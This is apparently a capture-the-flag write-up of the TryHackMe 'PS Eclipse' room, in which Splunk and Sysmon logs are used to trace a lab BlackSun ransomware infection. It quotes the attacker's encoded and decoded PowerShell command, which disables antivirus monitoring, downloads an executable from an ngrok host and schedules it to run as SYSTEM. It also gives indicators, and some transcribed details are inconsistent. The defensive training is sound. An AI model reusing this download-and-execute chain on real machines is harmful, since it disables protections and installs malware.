

## TryHackMe: PS Eclipse

The following writeup covers the [PS Eclipse](#) room hosted on TryHackMe. It is an intermediate level room that involves investigating a series of logs using Splunk on a machine that is suspected to be infected with ransomware. It was a really enjoyable room, and I hope my writeup can be of use for someone else doing the same room.

**Scenario:** You are a SOC Analyst for an MSSP (Managed Security Service Provider) company called TryNotHackMe. A customer sent an email asking for an analyst to investigate the events that occurred on Keegan's machine on Monday, May 16<sup>th</sup>, 2022. The client noted that the machine is operational, but some files have a weird file extension. The client is worried that there was a ransomware attempt on Keegan's device. Your manager has tasked you to check the events in Splunk to determine what occurred in Keegan's device.

### A suspicious binary was downloaded to the endpoint. What was the name of the binary?

First, navigate to the search and reporting app in Splunk to start investigating the logs. Let's start off by changing the time range to make it only output logs that were generated on May 16<sup>th</sup>, 2022:

The screenshot shows the Splunk search interface. At the top, there is a 'Date Range' dropdown menu. Below it, the search criteria are set to 'Between' 05/16/2022 00:00:00 and 05/16/2022 24:00:00. The search query entered is '1 index=\*'. Below the query, it shows '4,921 events (5/16/2022)'.

This outputs 4,921 events. Seeing as we are tasked with investigating events that occurred on Keegan's device, we should also filter for his username which we can do by checking the User field:

#### User

5 Values, 76.306% of events

S

#### Reports

[Top values](#)

[Top values by time](#)

[F](#)

[Events with this field](#)

Values	Count
<a href="#">NOT_TRANSLATED</a>	3,755
<a href="#">NT AUTHORITY\SYSTEM</a>	1,850
<a href="#">DESKTOP-TBV8NEF\keegan</a>	927
<a href="#">NT AUTHORITY\LOCAL SERVICE</a>	161
<a href="#">NT AUTHORITY\NETWORK SERVICE</a>	70

This outputs 927 events that we need to sift through which is much more manageable. As this question is asking to find the name for a suspicious binary that was downloaded, we can look for the Sysmon Event ID 3, which is for network connection detected. We can use the following query to do this:

```
1 index="*" User="DESKTOP-TBV8NEF\\keegan" EventCode=3
```

✓ 4 events (5/16/22 12:00:00.000 AM to 5/17/22 12:00:00.000 AM)

If you check the image field, you can see that PowerShell made a network connection:

## Image

2 Values, 100% of events

### Reports

[Top values](#)

[Top values by time](#)

[Events with this field](#)

### Values

C:\Windows\System32\WindowsPowerShell  
\v1.0\powershell.exe

Let's go check this out further:

```
index="*" User="DESKTOP-TBV8NEF\\keegan" Image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
```

If you check the command line field, we can see a very suspicious obfuscated PowerShell command:

## CommandLine

1 Value, 4.054% of events

S

## Reports

Top values

Top values by time

F

Events with this field

## Values

```
powershell.exe -exec bypass -enc
UwB1AHQALQBNAHAUABYAGUAZgB1AHIAZQBAGMAZQAgAC0ARABpAHMAY
QB1AGwAZQBSAGUAYQBSAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZw
AgACQAdABYAHUAZQA7AHcAZwB1AHQAIABoAHQAdABWADoALwAvADgA0AA
2AGUALQAxAdgAMQAtADIAMQA1AC0AMgAxADQALQAzADIALgBuAGcAcgBv
AGsALgBpAG8ALwBPAFUAVABTAFQAQQBOAEQASQBOAECXwBHAFUAVABUA
EUAUgAuAGUAeAB1ACAAQBPAPAHUAdABGAGkAbAB1ACAAQwA6AFwAVwBpAG
4AZABvAHcAcwBcAFQAZQBtAHAAXABPAFUAVABTAFQAQQBOAEQASQBOAEC
AXwBHAFUAVABUAEUAUgAuAGUAeAB1ADsAUwBDAEGAVABBAFMASwBTACAA
LwBDAHIAZQBhAHQAZQAgAC8AVABOACAAIgBPAFUAVABTAFQAQQBOAEQAS
QBOAECXwBHAFUAVABUAEUAUgAuAGUAeAB1ACIAIAAvAFQAUgAgACIAQw
A6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABDAE8AVQBUAFMAVAB
BAE4ARABJAE4ARwBfAEcAVQBUAFQARQBSAC4AZQB4AGUAIgAgAC8AUwBD
ACAATwBOAEUAVgBF AE4AVAAgAC8ARQBDACAAQQBwAHAAbABpAGMAYQB0A
GkAbwBuACAALwBNAE8AIAAqAFsAUwB5AHMAdAB1AG0ALwBF AHYAZQBwAH
QASQBEAD0ANwA3ADcAXQAgAC8AUgBVACAAIgBTAFkAUwBUAEUATQAIACA
ALwBmADsAUwBDAEGAVABBAFMASwBTACAAALwBSAHUAbgAgAC8AVABOACAA
IgBPAFUAVABTAFQAQQBOAEQASQBOAECXwBHAFUAVABUAEUAUgAuAGUAe
AB1ACIA
```

If you decode this string, you can determine that it downloaded a binary and called it OUTSTANDING\_GUTTER.exe:

```
(powershell) C:\Downloads
PS C:\Downloads> echo "mb1AHQALQBNAHAUABYAGUAZgB1AHIAZQBAGMAZQAgAC0ARABpAHMAYQB1AGwAZQBSAGUAYQBSAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdABYAHUAZQA7AHcAZwB1AHQAIABoAHQAdABWADoALwAvADgA0AA2AGUALQAxAdgAMQAtADIAMQA1AC0AMgAxADQALQAzADIALgBuAGcAcgBvAGsALgBpAG8ALwBPAFUAVABTAFQAQQBOAEQASQBOAECXwBHAFUAVABUAEUAUgAuAGUAeAB1ACAAQBPAPAHUAdABGAGkAbAB1ACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABPAFUAVABTAFQAQQBOAEQASQBOAECXwBHAFUAVABUAEUAUgAuAGUAeAB1ADsAUwBDAEGAVABBAFMASwBTACAAALwBDAHIAZQBhAHQAZQAgAC8AVABOACAAIgBPAFUAVABTAFQAQQBOAEQASQBOAECXwBHAFUAVABUAEUAUgAuAGUAeAB1ACIAIAAvAFQAUgAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABDAE8AVQBUAFMAVABBAE4ARABJAE4ARwBfAEcAVQBUAFQARQBSAC4AZQB4AGUAIgAgAC8AUwBDACAATwBOAEUAVgBF AE4AVAAgAC8ARQBDACAAQQBwAHAAbABpAGMAYQB0AGkAbwBuACAALwBNAE8AIAAqAFsAUwB5AHMAdAB1AG0ALwBF AHYAZQBwAHQASQBEAD0ANwA3ADcAXQAgAC8AUgBVACAAIgBTAFkAUwBUAEUATQAIACAALwBmADsAUwBDAEGAVABBAFMASwBTACAAALwBSAHUAbgAgAC8AVABOACAAIgBPAFUAVABTAFQAQQBOAEQASQBOAECXwBHAFUAVABUAEUAUgAuAGUAeAB1ACIA" | base64 -d
Get-WebPreference -DisableRealTimeMonitoring $true; wget http://88e-181-215-214-32.ngrok.io/OUTSTANDING_GUTTER.exe -OutFile C:\Windows\Temp\OUTSTANDING_GUTTER.exe; SCHEDTASKS /Create /TN "OUTSTANDING_GUTTER.exe" /TR "C:\Windows\Temp\OUTSTANDING_GUTTER.exe" /SC ONEVERY /EC Application /MO "[System/EventID=7777] /RU "SYSTEM" /I; SCHEDTASKS /Run /TN "OUTSTANDING_GUTTER.exe"
```

**What is the address the binary was downloaded from? Add <http://> to your answer and defang the URL.**

Luckily for us, the domain the binary was downloaded from can be seen in the decoded PowerShell command:

Input

http://886e-181-215-214-32.ngrok.id

REC 35 1

Output

hxxp[ :// ]886e-181-215-214-32[ . ]ngrok[ . ]id

What Windows executable was used to download the suspicious binary? Enter full path.

We discovered earlier that the PowerShell executable was used to download the suspicious binary. We can see the full path in our query:

Image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"

What command was executed to configure the suspicious binary to run with elevated privileges?

To find the command that was used to configure the binary to run with elevated privileges, I simply searched for the binary and inspected the command line field like as follows:

1 index="\*" User="DESKTOP-TBV8NEF\\keegan" OUTSTANDING\_GUTTER.exe

2 | dedup CommandLine

3 | table CommandLine

✓ 2 events (5/16/22 12:00:00.000 AM to 5/17/22 12:00:00.000 AM) No Event Sampling ▾

Events

Patterns

Statistics (2)

Visualization

20 Per Page ▾

✓ Format

Preview ▾

CommandLine ↕

"C:\\Windows\\system32\\schtasks.exe" /Run /TN OUTSTANDING\_GUTTER.exe

"C:\\Windows\\system32\\schtasks.exe" /Create /TN OUTSTANDING\_GUTTER.exe /TR C:\\Windows\\Temp\\COUTSTANDING\_GUTTER.exe /SC ONEVENT /EC Application /MO \*[System/EventID=7771] /RU SYSTEM /f

If you look at the second result, mainly the /RU SYSTEM part, you can determine that this creates a scheduled task for the suspicious binary that will run as system (system privileges).

What permissions will the suspicious binary run as? What was the command to run the binary with elevated privileges?

The binary runs as system, which is NT AUTHORITY\\SYSTEM, the command to run the binary can be seen in the previous question. Both combined creates the answer:

NT AUTHORITY\\SYSTEM;"C:\\Windows\\system32\\schtasks.exe" /Run /TN OUTSTANDING\_GUTTER.exe

The suspicious binary connected to a remote server. What address did it connect to? Add http:// to your answer and defang the URL.

We can find what address the suspicious binary connected to by investigating the DNS queries initiated by the binary:

```
1 index="*" OUTSTANDING_GUTTER.exe TaskCategory="Dns query (rule: DnsQuery)"
2 | dedup QueryName
3 | table QueryName
```

✓ 1 event (5/16/22 12:00:00.000 AM to 5/17/22 12:00:00.000 AM) No Event Sampling ▼

Events Patterns **Statistics (1)** Visualization

20 Per Page ▼ / Format Preview ▼

QueryName ↕

9030-181-215-214-32.ngrok.io

As you can see the binary made a connection to the address shown above, now all you need to do is defang the URL:

**Input**

http://9030-181-215-214-32.ngrok.io

REC 35 1

**Output** ✎

hxxp[ :// ]9030-181-215-214-32[.]ngrok[.]io

**A PowerShell script was downloaded to the same location as the suspicious binary. What was the name of the file?**

The location of the suspicious binary is C:\Windows\Temp\OUTSTANDING\_GUTTER.exe, so let's investigate the temp directory for any file ending with .ps1 which is the file extension for PowerShell scripts:

```
1 index="*" "C:\\Windows\\Temp\\*.ps1"
2 | dedup TargetFilename
3 | table TargetFilename
```

✓ 5 events (5/16/22 12:00:00.000 AM to 5/17/22 12:00:00.000 AM)

Events Patterns **Statistics (5)** Visualization

20 Per Page ▼ ✎ Format Preview ▼

TargetFilename ↕

C:\\Windows\\Temp\\script.ps1

C:\\Windows\\Temp\\\_\_PSScriptPolicyTest\_rmlwvvw4.wdu.ps1

C:\\Windows\\Temp\\\_\_PSScriptPolicyTest\_3mxxqum0.fcl.ps1

C:\\Windows\\Temp\\\_\_PSScriptPolicyTest\_nxdbg4vz.swp.ps1

C:\\Windows\\Temp\\\_\_PSScriptPolicyTest\_znwkv32.osj.ps1

As you can see there is a weird script called script.ps1 which is the answer.

**The malicious script was flagged as malicious. What do you think was the actual name of the malicious script?**

Let's first identify the SHA-1 hash of this file. We can do so by querying for the file and checking the hashes field:

```
index="*" "C:\\Windows\\Temp\\script.ps1"
```

## Hashes

1 Value, 50% of events

5

## Reports

Top values

Top values by time

1

Events with this field

## Values

SHA1=E0AFCF804394ABD43AD4723A0FEB147F10E589CD, MD5=3EBAB71  
CB71CA5C475202F401DE008C8, SHA256=E5429F2E44990B3D4E249C56  
6BF19741E671C0E40B809F87248D9EC9114BEF9, IMPHASH=00000000  
00000000000000000000000000000000

If you enter the hash into VirusTotal and navigate to the details, you can see that other samples have been named BlackSun.ps1 which is a ransomware strain. Therefore, BlackSun.ps1 is the answer.

**A ransomware note was saved to disk, which can serve as an IOC. What is the full path to which the ransom note was saved?**

Ransomware notes are often just text file, so I simply searched for txt files and checked the target file name field where I was able to find the ransom note:

The screenshot shows a Splunk search interface. The search bar contains the query: `index="*" *.txt | table TargetFilename`. Below the search bar, it indicates 2 events from 5/16/22 12:00:00.000 AM to 5/17/22 12:00:00.000 AM. The 'Statistics (2)' tab is selected. Below the tabs, there are options for '20 Per Page', 'Format', and 'Preview'. The search results are displayed in a table with two columns: 'TargetFilename' and 'Image'. The first row shows the path `C:\Windows\Temp\8737FB58-C20A-4838-AAB1-44610D46AFA6\ThirdPartyNotices.txt`. The second row, which is highlighted, shows the path `C:\Users\keegan\Downloads\vasg6b0wmw029hd\BlackSun_README.txt`.

**The script saved an image file to disk to replace the user's desktop wallpaper, which can also server as an IOC. What is the full path of the image?**

To find the image file that was saved to disk, I searched for two file types; jpg and png:

The screenshot shows a Splunk search interface. The search bar contains the query: `index="*" *.jpg OR *.png | table Image TargetFilename`. Below the search bar, it indicates 3 events from 5/16/22 12:00:00.000 AM to 5/17/22 12:00:00.000 AM. The 'Statistics (3)' tab is selected. Below the tabs, there are options for '20 Per Page', 'Format', and 'Preview'. The search results are displayed in a table with two columns: 'Image' and 'TargetFilename'. The first row shows the path `C:\Users\keegan\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe` in the 'Image' column and `C:\Users\keegan\AppData\Local\Microsoft\OneDrive\22.077.0410.0007\Microsoft.SharePoint.png` in the 'TargetFilename' column. The second row shows the path `C:\Windows\system32\SearchProtocolHost.exe` in the 'Image' column and `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe` in the 'TargetFilename' column. The third row, which is highlighted, shows the path `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe` in the 'Image' column and `C:\Users\Public\Pictures\blacksun.jpg` in the 'TargetFilename' column.

As you can see, PowerShell was the program used to save the blacksun.jpg to the pictures directory. The full path of this file is the answer.

The TryHackMe PS Eclipse room provides an engaging and information experience for intermediate-level cybersecurity enthusiast. By investigating the suspected ransomware infection on Keegan's machine, the writeup demonstrates practical skill in utilising Splunk for

log analysis. Through detailed examination of the logs (primarily Sysmon logs), I was able to correctly answer all of the questions.